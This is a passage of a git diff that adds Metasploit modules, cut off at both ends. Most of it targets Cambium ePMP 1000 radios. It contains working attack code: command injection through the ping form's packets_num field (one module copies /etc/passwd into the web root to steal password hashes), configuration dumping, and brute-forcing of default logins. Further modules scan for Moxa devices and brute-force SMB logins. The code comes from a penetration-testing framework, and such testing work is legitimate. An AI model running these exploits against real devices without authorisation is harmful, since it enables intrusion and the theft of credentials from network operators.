"globalParams=%7B%22dashboard%22%3A%7B%22refresh_rate%22%3A%225%22%7D%2C%22#{user}%22%3A%7B%22refresh_rate%22%3A%225%22%7D%7D; userType=Installer; usernameType=installer; stok=" + "#{stok_value}" + + uri1 = '/cgi-bin/luci/;stok=' + "#{stok_value}" + '/admin/ping' + command = datastore['CMD'] + inject = '|' + "#{command}" + ' ||' + clean_inject = CGI.unescapeHTML(inject.to_s) + + print_status("#{rhost}:#{rport} - Executing #{command}") + + res = send_request_cgi( + { + 'uri' => uri1, + 'method' => 'POST', + 'cookie' => cookie2, + 'headers' => { + 'Accept' => '*/*', + 'Accept-Language' => 'en-US,en;q=0.5', + 'Accept-Encoding' => 'gzip, deflate', + 'X-Requested-With' => 'XMLHttpRequest', + 'ctype' => '*/*', + 'Connection' => 'close' + }, + 'vars_post' => + { + 'ping_ip' => '8.8.8.8', + 'packets_num' => clean_inject, + 'buf_size' => 0, + 'ttl' => 1, + 'debug' => '0' + } + } + ) + + vprint_line("#{res.body}") + + # Extract ePMP version + res = send_request_cgi( + { + 'uri' => '/', + 'method' => 'GET' + } + ) + + epmp_ver = res.body.match(/"sw_version">([^<]*)/)[1] + + report_cred( + ip: rhost, + port: rport, + service_name: "Cambium ePMP 1000 v#{epmp_ver}", + user: user, + password: pass + ) + else + # Login failed + print_error("FAILED LOGIN - #{rhost}:#{rport} - #{user.inspect}:#{pass.inspect}") + end + end + end + end +end diff --git a/modules/auxiliary/scanner/http/epmp1000_dump_config.rb b/modules/auxiliary/scanner/http/epmp1000_dump_config.rb new file mode 100644 index 0000000000..ee0213263c --- /dev/null +++ b/modules/auxiliary/scanner/http/epmp1000_dump_config.rb @@ -0,0 +1,254 @@ +## +# This module requires Metasploit: http://metasploit.com/download +# Current source: https://github.com/rapid7/metasploit-framework +## + +require 'msf/core' + +class MetasploitModule < Msf::Auxiliary + include Msf::Exploit::Remote::HttpClient + include Msf::Auxiliary::AuthBrute + include Msf::Auxiliary::Report + include Msf::Auxiliary::Scanner + + def initialize(info={}) + super(update_info(info, + 'Name' => 'Cambium ePMP 1000 Dump Device Config', + 'Description' => %{ + This module dumps Cambium ePMP 1000 device configuration file. An ePMP 1000 box has four (4) login accounts - admin/admin, installer/installer, home/home, and readonly/readonly. This module requires any one of the following login credentials - admin / installer / home - to dump device configuration file. + }, + 'References' => + [ + ['URL', 'http://ipositivesecurity.com/2015/11/28/cambium-epmp-1000-multiple-vulnerabilities/'] + ], + 'Author' => + [ + 'Karn Ganeshen ' + ], + 'License' => MSF_LICENSE, + 'DefaultOptions' => { 'VERBOSE' => true }) + ) + + register_options( + [ + Opt::RPORT(80), # Application may run on a different port too. Change port accordingly. + OptString.new('USERNAME', [true, 'A specific username to authenticate as', 'installer']), + OptString.new('PASSWORD', [true, 'A specific password to authenticate with', 'installer']) + ], self.class + ) + end + + def run_host(ip) + unless is_app_epmp1000? + return + end + + each_user_pass do |user, pass| + do_login(user, pass) + end + end + + def report_cred(opts) + service_data = { + address: opts[:ip], + port: opts[:port], + service_name: opts[:service_name], + protocol: 'tcp', + workspace_id: myworkspace_id + } + + credential_data = { + origin_type: :service, + module_fullname: fullname, + username: opts[:user], + private_data: opts[:password], + private_type: :password + }.merge(service_data) + + login_data = { + last_attempted_at: Time.now, + core: create_credential(credential_data), + status: Metasploit::Model::Login::Status::SUCCESSFUL, + proof: opts[:proof] + }.merge(service_data) + + create_credential_login(login_data) + end + + # + # Check if App is Cambium ePMP 1000 + # + + def is_app_epmp1000? + begin + res = send_request_cgi( + { + 'uri' => '/', + 'method' => 'GET' + } + ) + + rescue ::Rex::ConnectionRefused, ::Rex::HostUnreachable, ::Rex::ConnectionTimeout, ::Rex::ConnectionError + print_error("#{rhost}:#{rport} - HTTP Connection Failed...") + return false + end + + good_response = ( + res && + res.code == 200 && + res.headers['Server'] && + (res.headers['Server'].include?('Cambium HTTP Server') || res.body.include?('cambiumnetworks.com')) + ) + + if good_response + get_epmp_ver = res.body.match(/"sw_version">([^<]*)/) + if !get_epmp_ver.nil? + epmp_ver = get_epmp_ver[1] + if !epmp_ver.nil? + print_good("#{rhost}:#{rport} - Running Cambium ePMP 1000 version #{epmp_ver}...") + return true + else + print_good("#{rhost}:#{rport} - Running Cambium ePMP 1000...") + return true + end + end + else + print_error("#{rhost}:#{rport} - Application does not appear to be Cambium ePMP 1000. Module will not continue.") + return false + end + end + + # + # Login and dump config file + # + + def do_login(user, pass) + print_status("#{rhost}:#{rport} - Attempting to login...") + begin + res = send_request_cgi( + { + 'uri' => '/cgi-bin/luci', + 'method' => 'POST', + 'headers' => { + 'X-Requested-With' => 'XMLHttpRequest', + 'Accept' => 'application/json, text/javascript, */*; q=0.01' + }, + 'vars_post' => + { + 'username' => 'dashboard', + 'password' => '' + } + } + ) + + good_response = ( + res && + res.code == 200 && + res.headers.include?('Set-Cookie') && + res.headers['Set-Cookie'].include?('sysauth') + ) + + if good_response + sysauth_value = res.headers['Set-Cookie'].match(/((.*)[$ ])/) + + cookie1 = "#{sysauth_value}; " + "globalParams=%7B%22dashboard%22%3A%7B%22refresh_rate%22%3A%225%22%7D%2C%22#{user}%22%3A%7B%22refresh_rate%22%3A%225%22%7D%7D" + + res = send_request_cgi( + { + 'uri' => '/cgi-bin/luci', + 'method' => 'POST', + 'cookie' => cookie1, + 'headers' => { + 'X-Requested-With' => 'XMLHttpRequest', + 'Accept' => 'application/json, text/javascript, */*; q=0.01', + 'Connection' => 'close' + }, + 'vars_post' => + { + 'username' => user, + 'password' => pass + } + } + ) + end + + good_response = ( + res && + res.code == 200 && + res.headers.include?('Set-Cookie') && + res.headers['Set-Cookie'].include?('stok=') + ) + + if good_response + print_good("SUCCESSFUL LOGIN - #{rhost}:#{rport} - #{user.inspect}:#{pass.inspect}") + + report_cred( + ip: rhost, + port: rport, + service_name: 'Cambium ePMP 1000', + user: user, + password: pass + ) + + get_stok = res.headers['Set-Cookie'].match(/stok=(.*)/) + if !get_stok.nil? + stok_value = get_stok[1] + sysauth_value = res.headers['Set-Cookie'].match(/((.*)[$ ])/) + + cookie2 = "#{sysauth_value}; " + "globalParams=%7B%22dashboard%22%3A%7B%22refresh_rate%22%3A%225%22%7D%2C%22#{user}%22%3A%7B%22refresh_rate%22%3A%225%22%7D%7D; userType=Installer; usernameType=installer; stok=" + "#{stok_value}" + + config_uri = '/cgi-bin/luci/;stok=' + "#{stok_value}" + '/admin/config_export?opts=json' + + res = send_request_cgi( + { + 'method' => 'GET', + 'uri' => config_uri, + 'cookie' => cookie2, + 'headers' => { + 'Accept' => '*/*', + 'Accept-Language' => 'en-US,en;q=0.5', + 'Accept-Encoding' => 'gzip, deflate', + 'X-Requested-With' => 'XMLHttpRequest', + 'ctype' => 'application/x-www-form-urlencoded; charset=UTF-8', + 'Connection' => 'close' + } + }, 25 + ) + + if res && res.code == 200 && res.body =~ /device_props/ + vprint_status('++++++++++++++++++++++++++++++++++++++') + vprint_status("#{rhost}:#{rport} - dumping configuration") + vprint_status('++++++++++++++++++++++++++++++++++++++') + print_good("#{rhost}:#{rport} - File retrieved successfully!") + + path = store_loot('ePMP_config', 'text/plain', rhost, res.body, 'Cambium ePMP 1000 device config') + print_status("#{rhost}:#{rport} - File saved in: #{path}") + else + print_error("#{rhost}:#{rport} - Failed to retrieve configuration") + return + end + + # Extract ePMP version + res = send_request_cgi( + { + 'uri' => '/', + 'method' => 'GET' + } + ) + + epmp_ver = res.body.match(/"sw_version">([^<]*)/)[1] + + report_cred( + ip: rhost, + port: rport, + service_name: "Cambium ePMP 1000 v#{epmp_ver}", + user: user, + password: pass + ) + end + else + print_error("FAILED LOGIN - #{rhost}:#{rport} - #{user.inspect}:#{pass.inspect}") + end + end + end +end diff --git a/modules/auxiliary/scanner/http/epmp1000_dump_hashes.rb b/modules/auxiliary/scanner/http/epmp1000_dump_hashes.rb new file mode 100644 index 0000000000..c557eba4f9 --- /dev/null +++ b/modules/auxiliary/scanner/http/epmp1000_dump_hashes.rb @@ -0,0 +1,318 @@ +## +# This module requires Metasploit: http://metasploit.com/download +# Current source: https://github.com/rapid7/metasploit-framework +## + +require 'msf/core' + +class MetasploitModule < Msf::Auxiliary + include Msf::Exploit::Remote::HttpClient + include Msf::Auxiliary::AuthBrute + include Msf::Auxiliary::Report + include Msf::Auxiliary::Scanner + + def initialize(info={}) + super(update_info(info, + 'Name' => 'Cambium ePMP 1000 Password Hash Extractor', + 'Description' => %{ + This module exploits an OS Command Injection vulnerability in Cambium ePMP 1000 ( + [ + ['URL', 'http://ipositivesecurity.com/2015/11/28/cambium-epmp-1000-multiple-vulnerabilities/'], + ['URL', 'https://support.cambiumnetworks.com/file/476262a0256fdd8be0e595e51f5112e0f9700f83'] + ], + 'Author' => + [ + 'Karn Ganeshen ' + ], + 'License' => MSF_LICENSE, + 'DefaultOptions' => { 'VERBOSE' => true }) + ) + + register_options( + [ + Opt::RPORT(80), # Application may run on a different port too. Change port accordingly. + OptString.new('USERNAME', [true, 'A specific username to authenticate as', 'installer']), + OptString.new('PASSWORD', [true, 'A specific password to authenticate with', 'installer']) + ], self.class + ) + end + + def run_host(ip) + unless is_app_epmp1000? + return + end + + each_user_pass do |user, pass| + do_login(user, pass) + end + end + + def report_cred(opts) + service_data = { + address: opts[:ip], + port: opts[:port], + service_name: opts[:service_name], + protocol: 'tcp', + workspace_id: myworkspace_id + } + + credential_data = { + origin_type: :service, + module_fullname: fullname, + username: opts[:user], + private_data: opts[:password], + private_type: :password + }.merge(service_data) + + login_data = { + last_attempted_at: Time.now, + core: create_credential(credential_data), + status: Metasploit::Model::Login::Status::SUCCESSFUL, + proof: opts[:proof] + }.merge(service_data) + + create_credential_login(login_data) + end + + # + # Check if App is Cambium ePMP 1000 + # + + def is_app_epmp1000? + begin + res = send_request_cgi( + { + 'uri' => '/', + 'method' => 'GET' + } + ) + + rescue ::Rex::ConnectionRefused, ::Rex::HostUnreachable, ::Rex::ConnectionTimeout, ::Rex::ConnectionError + print_error("#{rhost}:#{rport} - HTTP Connection Failed...") + return false + end + + good_response = ( + res && + res.code == 200 && + res.headers['Server'] && + (res.headers['Server'].include?('Cambium HTTP Server') || res.body.include?('cambiumnetworks.com')) + ) + + if good_response + get_epmp_ver = res.body.match(/"sw_version">([^<]*)/) + if !get_epmp_ver.nil? + epmp_ver = get_epmp_ver[1] + if !epmp_ver.nil? + print_good("#{rhost}:#{rport} - Running Cambium ePMP 1000 version #{epmp_ver}...") + if "#{epmp_ver}" >= '2.5' + print_error('This ePMP version is not vulnerable. Module will not continue.') + return false + else + return true + end + else + print_good("#{rhost}:#{rport} - Running Cambium ePMP 1000...") + return true + end + end + else + print_error("#{rhost}:#{rport} - Application does not appear to be Cambium ePMP 1000. Module will not continue.") + return false + end + end + + # + # Dump ePMP Password Hashes + # + + def do_login(user, pass) + print_status("#{rhost}:#{rport} - Attempting to login...") + begin + res = send_request_cgi( + { + 'uri' => '/cgi-bin/luci', + 'method' => 'POST', + 'headers' => { + 'X-Requested-With' => 'XMLHttpRequest', + 'Accept' => 'application/json, text/javascript, */*; q=0.01' + }, + 'vars_post' => + { + 'username' => 'dashboard', + 'password' => '' + } + } + ) + + good_response = ( + res && + res.code == 200 && + res.headers.include?('Set-Cookie') && + res.headers['Set-Cookie'].include?('sysauth') + ) + + if good_response + sysauth_value = res.headers['Set-Cookie'].match(/((.*)[$ ])/) + + cookie1 = "#{sysauth_value}; " + "globalParams=%7B%22dashboard%22%3A%7B%22refresh_rate%22%3A%225%22%7D%2C%22#{user}%22%3A%7B%22refresh_rate%22%3A%225%22%7D%7D" + + res = send_request_cgi( + { + 'uri' => '/cgi-bin/luci', + 'method' => 'POST', + 'cookie' => cookie1, + 'headers' => { + 'X-Requested-With' => 'XMLHttpRequest', + 'Accept' => 'application/json, text/javascript, */*; q=0.01', + 'Connection' => 'close' + }, + 'vars_post' => + { + 'username' => user, + 'password' => pass + } + } + ) + + end + + good_response = ( + res && + res.code == 200 && + res.headers.include?('Set-Cookie') && + res.headers['Set-Cookie'].include?('stok=') + ) + + if good_response + print_good("SUCCESSFUL LOGIN - #{rhost}:#{rport} - #{user.inspect}:#{pass.inspect}") + + report_cred( + ip: rhost, + port: rport, + service_name: 'Cambium ePMP 1000', + user: user, + password: pass + ) + + get_stok = res.headers['Set-Cookie'].match(/stok=(.*)/) + if !get_stok.nil? + stok_value = get_stok[1] + sysauth_value = res.headers['Set-Cookie'].match(/((.*)[$ ])/) + + cookie2 = "#{sysauth_value}; " + "globalParams=%7B%22dashboard%22%3A%7B%22refresh_rate%22%3A%225%22%7D%2C%22#{user}%22%3A%7B%22refresh_rate%22%3A%225%22%7D%7D; userType=Installer; usernameType=installer; stok=" + "#{stok_value}" + + uri1 = '/cgi-bin/luci/;stok=' + "#{stok_value}" + '/admin/ping' + command = 'cp /etc/passwd /www/' + inject = '|' + "#{command}" + ' ||' + clean_inject = CGI.unescapeHTML(inject.to_s) + + res = send_request_cgi( + { + 'uri' => uri1, + 'method' => 'POST', + 'cookie' => cookie2, + 'headers' => { + 'Accept' => '*/*', + 'Accept-Language' => 'en-US,en;q=0.5', + 'Accept-Encoding' => 'gzip, deflate', + 'X-Requested-With' => 'XMLHttpRequest', + 'ctype' => '*/*', + 'Connection' => 'close' + }, + 'vars_post' => + { + 'ping_ip' => '8.8.8.8', + 'packets_num' => clean_inject, + 'buf_size' => 0, + 'ttl' => 1, + 'debug' => '0' + } + } + ) + + res = send_request_cgi( + { + 'method' => 'GET', + 'uri' => '/passwd', + 'cookie' => cookie2, + 'headers' => { + 'Accept' => '*/*', + 'Accept-Language' => 'en-US,en;q=0.5', + 'Accept-Encoding' => 'gzip, deflate', + 'X-Requested-With' => 'XMLHttpRequest', + 'ctype' => 'application/x-www-form-urlencoded; charset=UTF-8', + 'Connection' => 'close' + } + }, 25 + ) + + if res && res.code == 200 && res.body =~ /root/ + vprint_status('++++++++++++++++++++++++++++++++++++++') + vprint_status("#{rhost}:#{rport} - dumping password hashes") + vprint_line("#{res.body}") + vprint_status('++++++++++++++++++++++++++++++++++++++') + + print_good("#{rhost}:#{rport} - File retrieved successfully!") + path = store_loot('ePMP_passwd', 'text/plain', rhost, res.body, 'Cambium ePMP 1000 password hashes') + print_status("#{rhost}:#{rport} - File saved in: #{path}") + else + print_error("#{rhost}:#{rport} - Failed to retrieve hashes") + return + end + + command = 'rm /www/passwd' + inject = '|' + "#{command}" + ' ||' + clean_inject = CGI.unescapeHTML(inject.to_s) + + res = send_request_cgi( + { + 'uri' => uri1, + 'method' => 'POST', + 'cookie' => cookie2, + 'headers' => { + 'Accept' => '*/*', + 'Accept-Language' => 'en-US,en;q=0.5', + 'Accept-Encoding' => 'gzip, deflate', + 'X-Requested-With' => 'XMLHttpRequest', + 'ctype' => '*/*', + 'Connection' => 'close' + }, + 'vars_post' => + { + 'ping_ip' => '8.8.8.8', + 'packets_num' => clean_inject, + 'buf_size' => 0, + 'ttl' => 1, + 'debug' => '0' + } + } + ) + + # Extract ePMP version + res = send_request_cgi( + { + 'uri' => '/', + 'method' => 'GET' + } + ) + + epmp_ver = res.body.match(/"sw_version">([^<]*)/)[1] + + report_cred( + ip: rhost, + port: rport, + service_name: "Cambium ePMP 1000 v#{epmp_ver}", + user: user, + password: pass + ) + else + # Login failed + print_error("FAILED LOGIN - #{rhost}:#{rport} - #{user.inspect}:#{pass.inspect}") + end + end + end + end +end diff --git a/modules/auxiliary/scanner/http/epmp1000_web_login.rb b/modules/auxiliary/scanner/http/epmp1000_web_login.rb new file mode 100644 index 0000000000..8473d374f3 --- /dev/null +++ b/modules/auxiliary/scanner/http/epmp1000_web_login.rb @@ -0,0 +1,206 @@ +## +# This module requires Metasploit: http://metasploit.com/download +# Current source: https://github.com/rapid7/metasploit-framework +## + +require 'msf/core' + +class MetasploitModule < Msf::Auxiliary + include Msf::Exploit::Remote::HttpClient + include Msf::Auxiliary::AuthBrute + include Msf::Auxiliary::Report + include Msf::Auxiliary::Scanner + + def initialize(info={}) + super(update_info(info, + 'Name' => 'Cambium ePMP 1000 Login Scanner', + 'Description' => %{ + This module scans for Cambium ePMP 1000 management login portal(s), and attempts to identify valid credentials. Default login credentials are - admin/admin, installer/installer, home/home and readonly/readonly. Tested versions <=3.2.1 (current version). This should work fine for any future releases. + }, + 'Author' => + [ + 'Karn Ganeshen ' + ], + 'License' => MSF_LICENSE, + 'DefaultOptions' => { 'VERBOSE' => true }) + ) + + register_options( + [ + Opt::RPORT(80), # Application may run on a different port too. Change port accordingly. + OptString.new('USERNAME', [false, 'A specific username to authenticate as', 'admin']), + OptString.new('PASSWORD', [false, 'A specific password to authenticate with', 'admin']) + ], self.class + ) + end + + def run_host(ip) + unless is_app_epmp1000? + return + end + + each_user_pass do |user, pass| + do_login(user, pass) + end + end + + def report_cred(opts) + service_data = { + address: opts[:ip], + port: opts[:port], + service_name: opts[:service_name], + protocol: 'tcp', + workspace_id: myworkspace_id + } + + credential_data = { + origin_type: :service, + module_fullname: fullname, + username: opts[:user], + private_data: opts[:password], + private_type: :password + }.merge(service_data) + + login_data = { + last_attempted_at: Time.now, + core: create_credential(credential_data), + status: Metasploit::Model::Login::Status::SUCCESSFUL, + proof: opts[:proof] + }.merge(service_data) + + create_credential_login(login_data) + end + + # + # Check if App is Cambium ePMP 1000 + # + + def is_app_epmp1000? + begin + res = send_request_cgi( + { + 'uri' => '/', + 'method' => 'GET' + } + ) + + rescue ::Rex::ConnectionRefused, ::Rex::HostUnreachable, ::Rex::ConnectionTimeout, ::Rex::ConnectionError + print_error("#{rhost}:#{rport} - HTTP Connection Failed...") + return false + end + + good_response = ( + res && + res.code == 200 && + res.headers['Server'] && + (res.headers['Server'].include?('Cambium HTTP Server') || res.body.include?('cambiumnetworks.com')) + ) + + if good_response + get_epmp_ver = res.body.match(/"sw_version">([^<]*)/) + if !get_epmp_ver.nil? + epmp_ver = get_epmp_ver[1] + if !epmp_ver.nil? + print_good("#{rhost}:#{rport} - Running Cambium ePMP 1000 version #{epmp_ver}...") + return true + else + print_good("#{rhost}:#{rport} - Running Cambium ePMP 1000...") + return true + end + end + else + print_error("#{rhost}:#{rport} - Application does not appear to be Cambium ePMP 1000. Module will not continue.") + return false + end + end + + # + # Brute-force the login page + # + + def do_login(user, pass) + print_status("#{rhost}:#{rport} - Attempting to login...") + begin + res = send_request_cgi( + { + 'uri' => '/cgi-bin/luci', + 'method' => 'POST', + 'headers' => { + 'X-Requested-With' => 'XMLHttpRequest', + 'Accept' => 'application/json, text/javascript, */*; q=0.01' + }, + 'vars_post' => + { + 'username' => 'dashboard', + 'password' => '' + } + } + ) + + good_response = ( + res && + res.code == 200 && + res.headers.include?('Set-Cookie') && + res.headers['Set-Cookie'].include?('sysauth') + ) + + if good_response + sysauth_value = res.headers['Set-Cookie'].match(/((.*)[$ ])/) + + cookie1 = "#{sysauth_value}; " + "globalParams=%7B%22dashboard%22%3A%7B%22refresh_rate%22%3A%225%22%7D%2C%22#{user}%22%3A%7B%22refresh_rate%22%3A%225%22%7D%7D" + + res = send_request_cgi( + { + 'uri' => '/cgi-bin/luci', + 'method' => 'POST', + 'cookie' => cookie1, + 'headers' => { + 'X-Requested-With' => 'XMLHttpRequest', + 'Accept' => 'application/json, text/javascript, */*; q=0.01', + 'Connection' => 'close' + }, + 'vars_post' => + { + 'username' => user, + 'password' => pass + } + } + ) + end + + good_response = ( + res && + res.code == 200 && + res.headers.include?('Set-Cookie') && + res.headers['Set-Cookie'].include?('stok=') + ) + + if good_response + print_good("SUCCESSFUL LOGIN - #{rhost}:#{rport} - #{user.inspect}:#{pass.inspect}") + + # + # Extract ePMP version + # + res = send_request_cgi( + { + 'uri' => '/', + 'method' => 'GET' + } + ) + + epmp_ver = res.body.match(/"sw_version">([^<]*)/)[1] + + report_cred( + ip: rhost, + port: rport, + service_name: "Cambium ePMP 1000 version #{epmp_ver}", + user: user, + password: pass + ) + + else + print_error("FAILED LOGIN - #{rhost}:#{rport} - #{user.inspect}:#{pass.inspect}") + end + end + end +end diff --git a/modules/auxiliary/scanner/printer/canon_iradv_pwd_extract.rb b/modules/auxiliary/scanner/printer/canon_iradv_pwd_extract.rb index 17e877aa08..0e932348c2 100644 --- a/modules/auxiliary/scanner/printer/canon_iradv_pwd_extract.rb +++ b/modules/auxiliary/scanner/printer/canon_iradv_pwd_extract.rb @@ -70,7 +70,7 @@ class MetasploitModule < Msf::Auxiliary #grab Canon sessionid cookie idcookie = res.nil? ? nil : res.get_cookies - if res.code == 301 || res.code == 302 && res.headers.include?('Location') + if res && (res.code == 301 || res.code == 302 && res.headers.include?('Location')) print_good("#{rhost} - SUCCESSFUL login with USER='#{datastore['USER']}' : PASSWORD='#{datastore['PASSWD']}'") #grab Canon IR= session cookie diff --git a/modules/auxiliary/scanner/scada/moxa_discover.rb b/modules/auxiliary/scanner/scada/moxa_discover.rb new file mode 100644 index 0000000000..c709913631 --- /dev/null +++ b/modules/auxiliary/scanner/scada/moxa_discover.rb @@ -0,0 +1,107 @@ +## +# This module requires Metasploit: http://metasploit.com/download +# Current source: https://github.com/rapid7/metasploit-framework +## + +require 'msf/core' + +class MetasploitModule < Msf::Auxiliary + + include Msf::Auxiliary::Report + include Msf::Auxiliary::UDPScanner + + def initialize(info = {}) + super( + update_info( + info, + 'Name' => 'Moxa UDP Device Discovery', + 'Description' => %q( + The Moxa protocol listens on 4800/UDP and will respond to broadcast + or direct traffic. The service is known to be used on Moxa devices + in the NPort, OnCell, and MGate product lines. + + A discovery packet compels a Moxa device to respond to the sender + with some basic device information that is needed for more advanced + functions. The discovery data is 8 bytes in length and is the most + basic example of the Moxa protocol. It may be sent out as a + broadcast (destination 255.255.255.255) or to an individual device. + + Devices that respond to this query may be vulnerable to serious + information disclosure vulnerabilities, such as CVE-2016-9361. + + The module is the work of Patrick DeSantis of Cisco Talos and is + derived from original work by K. Reid Wightman. Tested and validated + on a Moxa NPort 6250 with firmware versions 1.13 and 1.15. + ), + 'Author' => 'Patrick DeSantis ', + 'License' => MSF_LICENSE, + 'References' => + [ + [ 'URL', 'https://www.digitalbond.com/blog/2016/10/25/serial-killers/'], + [ 'URL', 'http://www.moxa.com/support/faq/faq_detail.aspx?id=646' ], + ] + ) + ) + + register_options( + [ + # Moxa protocol listens on 4800/UDP by default + Opt::RPORT(4800) + ], self.class) + end + + # The data to be sent via UDP + def build_probe + # Function Code (first byte) 0x01: Moxa discovery/identify + # The fourth byte is the length of the full data payload + @probe ||= "\x01\x00\x00\x08\x00\x00\x00\x00" + end + + # Called for each response packet + def scanner_process(response, src_host, _src_port) + # The first byte of a response will always be the func code + 0x80 + # (the most significant bit of the byte is set to 1, so 0b00000001 + # becomes 0b10000001, or 0x81). + # A valid response is 24 bytes, starts with 0x81, and contains the values + # 0x00, 0x90, 0xe8 (the Moxa OIU) in bytes 14, 15, and 16. + return unless response[0] == "\x81" && response[14..16] == "\x00\x90\xe8" && response.length == 24 + @results[src_host] ||= [] + @results[src_host] << response + end + + # Called after the scan block + def scanner_postscan(_batch) + @results.each_pair do |host, response| + peer = "#{host}:#{rport}" + + # Report the host + report_host( + :host => host, + :info => "Moxa Device", + ) + + # Report the service + report_service( + host: host, + proto: 'udp', + port: rport, + name: 'Moxa Protocol', + ) + + if response.empty? + vprint_status("#{peer} No Moxa Devices Found.") + else + print_good("#{peer} Moxa Device Found!") + + # Report vuln + report_vuln( + host: host, + port: rport, + proto: 'udp', + name: 'Moxa Protocol Use', + refs: references + ) + end + end + end +end diff --git a/modules/auxiliary/scanner/smb/smb2_login.rb b/modules/auxiliary/scanner/smb/smb2_login.rb new file mode 100644 index 0000000000..7b9af65b45 --- /dev/null +++ b/modules/auxiliary/scanner/smb/smb2_login.rb @@ -0,0 +1,221 @@ +## +# This module requires Metasploit: http://metasploit.com/download +# Current source: https://github.com/rapid7/metasploit-framework +## + +require 'msf/core' +require 'metasploit/framework/login_scanner/smb2' +require 'metasploit/framework/credential_collection' + +class MetasploitModule < Msf::Auxiliary + + include Msf::Exploit::Remote::DCERPC + include Msf::Exploit::Remote::SMB::Client + include Msf::Exploit::Remote::SMB::Client::Authenticated + + include Msf::Auxiliary::Scanner + include Msf::Auxiliary::Report + include Msf::Auxiliary::AuthBrute + + def proto + 'smb' + end + def initialize + super( + 'Name' => 'SMB Login Check Scanner', + 'Description' => %q{ + SMB1 and SMB2 Compatible Login Scanner module. This version of + smb_login will seemlessly work with either version of the protocol. + SMB3 support will come at a future date. + + This module will test a SMB login on a range of machines and + report successful logins. If you have loaded a database plugin + and connected to a database this module will record successful + logins and hosts so you can track your access. + }, + 'Author' => + [ + 'thelightcosine', # RubySMB/SMB2 refactor + 'tebo ', # Original + 'Ben Campbell', # Refactoring + 'Brandon McCann "zeknox" ', # admin check + 'Tom Sellers ' # admin check/bug fix + ], + 'References' => + [ + [ 'CVE', '1999-0506'], # Weak password + ], + 'License' => MSF_LICENSE, + 'DefaultOptions' => + { + 'DB_ALL_CREDS' => false, + 'BLANK_PASSWORDS' => false, + 'USER_AS_PASS' => false + } + ) + deregister_options('RHOST','USERNAME','PASSWORD') + + # These are normally advanced options, but for this module they have a + # more active role, so make them regular options. + register_options( + [ + Opt::Proxies, + OptBool.new('ABORT_ON_LOCKOUT', [ true, "Abort the run when an account lockout is detected", false ]), + OptBool.new('PRESERVE_DOMAINS', [ false, "Respect a username that contains a domain name.", true ]), + OptBool.new('DETECT_ANY_AUTH', [false, 'Enable detection of systems accepting any authentication', true]) + ], self.class) + + end + + def run_host(ip) + print_brute(:level => :vstatus, :ip => ip, :msg => "Starting SMB login bruteforce") + + domain = datastore['SMBDomain'] || "" + + @scanner = Metasploit::Framework::LoginScanner::SMB2.new( + host: ip, + port: rport, + local_port: datastore['CPORT'], + stop_on_success: datastore['STOP_ON_SUCCESS'], + bruteforce_speed: datastore['BRUTEFORCE_SPEED'], + connection_timeout: 5, + max_send_size: datastore['TCP::max_send_size'], + send_delay: datastore['TCP::send_delay'], + framework: framework, + framework_module: self, + ) + + if datastore['DETECT_ANY_AUTH'] + bogus_result = @scanner.attempt_bogus_login(domain) + if bogus_result.success? + print_error("This system accepts authentication with any credentials, brute force is ineffective.") + return + else + vprint_status('This system does not accept authentication with any credentials, proceeding with brute force') + end + end + + cred_collection = Metasploit::Framework::CredentialCollection.new( + blank_passwords: datastore['BLANK_PASSWORDS'], + pass_file: datastore['PASS_FILE'], + password: datastore['SMBPass'], + user_file: datastore['USER_FILE'], + userpass_file: datastore['USERPASS_FILE'], + username: datastore['SMBUser'], + user_as_pass: datastore['USER_AS_PASS'], + realm: domain, + ) + + cred_collection = prepend_db_passwords(cred_collection) + cred_collection = prepend_db_hashes(cred_collection) + + @scanner.cred_details = cred_collection + + @scanner.scan! do |result| + case result.status + when Metasploit::Model::Login::Status::LOCKED_OUT + if datastore['ABORT_ON_LOCKOUT'] + print_error("Account lockout detected on '#{result.credential.public}', aborting.") + return + else + print_error("Account lockout detected on '#{result.credential.public}', skipping this user.") + end + + when Metasploit::Model::Login::Status::DENIED_ACCESS + print_brute :level => :status, :ip => ip, :msg => "Correct credentials, but unable to login: '#{result.credential}', #{result.proof}" + report_creds(ip, rport, result) + :next_user + when Metasploit::Model::Login::Status::SUCCESSFUL + print_brute :level => :good, :ip => ip, :msg => "Success: '#{result.credential}' #{result.access_level}" + report_creds(ip, rport, result) + :next_user + when Metasploit::Model::Login::Status::UNABLE_TO_CONNECT + if datastore['VERBOSE'] + print_brute :level => :verror, :ip => ip, :msg => "Could not connect" + end + invalidate_login( + address: ip, + port: rport, + protocol: 'tcp', + public: result.credential.public, + private: result.credential.private, + realm_key: Metasploit::Model::Realm::Key::ACTIVE_DIRECTORY_DOMAIN, + realm_value: result.credential.realm, + status: result.status + ) + :abort + when Metasploit::Model::Login::Status::INCORRECT + if datastore['VERBOSE'] + print_brute :level => :verror, :ip => ip, :msg => "Failed: '#{result.credential}', #{result.proof}" + end + invalidate_login( + address: ip, + port: rport, + protocol: 'tcp', + public: result.credential.public, + private: result.credential.private, + realm_key: Metasploit::Model::Realm::Key::ACTIVE_DIRECTORY_DOMAIN, + realm_value: result.credential.realm, + status: result.status + ) + end + end + + end + + + # This logic is not universal ie a local account will not care about workgroup + # but remote domain authentication will so check each instance + def accepts_bogus_domains?(user, pass) + bogus_domain = @scanner.attempt_login( + Metasploit::Framework::Credential.new( + public: user, + private: pass, + realm: Rex::Text.rand_text_alpha(8) + ) + ) + + return bogus_domain.success? + end + + def report_creds(ip, port, result) + service_data = { + address: ip, + port: port, + service_name: 'smb', + protocol: 'tcp', + workspace_id: myworkspace_id + } + + credential_data = { + module_fullname: self.fullname, + origin_type: :service, + private_data: result.credential.private, + private_type: ( + Rex::Proto::NTLM::Utils.is_pass_ntlm_hash?(result.credential.private) ? :ntlm_hash : :password + ), + username: result.credential.public, + }.merge(service_data) + + if domain.present? + if accepts_bogus_domains?(result.credential.public, result.credential.private) + print_brute(:level => :vstatus, :ip => ip, :msg => "Domain is ignored for user #{result.credential.public}") + else + credential_data.merge!( + realm_key: Metasploit::Model::Realm::Key::ACTIVE_DIRECTORY_DOMAIN, + realm_value: result.credential.realm + ) + end + end + + credential_core = create_credential(credential_data) + + login_data = { + core: credential_core, + last_attempted_at: DateTime.now, + status: result.status + }.merge(service_data) + + create_credential_login(login_data) + end +end diff --git a/modules/auxiliary/scanner/varnish/varnish_cli_login.rb b/modules/auxiliary/scanner/varnish/varnish_cli_login.rb new file mode 100644 index 0000000000..c99ec74bb6 --- /dev/null +++ b/modules/auxiliary/scanner/varnish/varnish_cli_login.rb @@ -0,0 +1,100 @@ +## +# This module requires Metasploit: http://metasploit.com/download +# Current source: https://github.com/rapid7/metasploit-framework +## + +require 'msf/core' +require 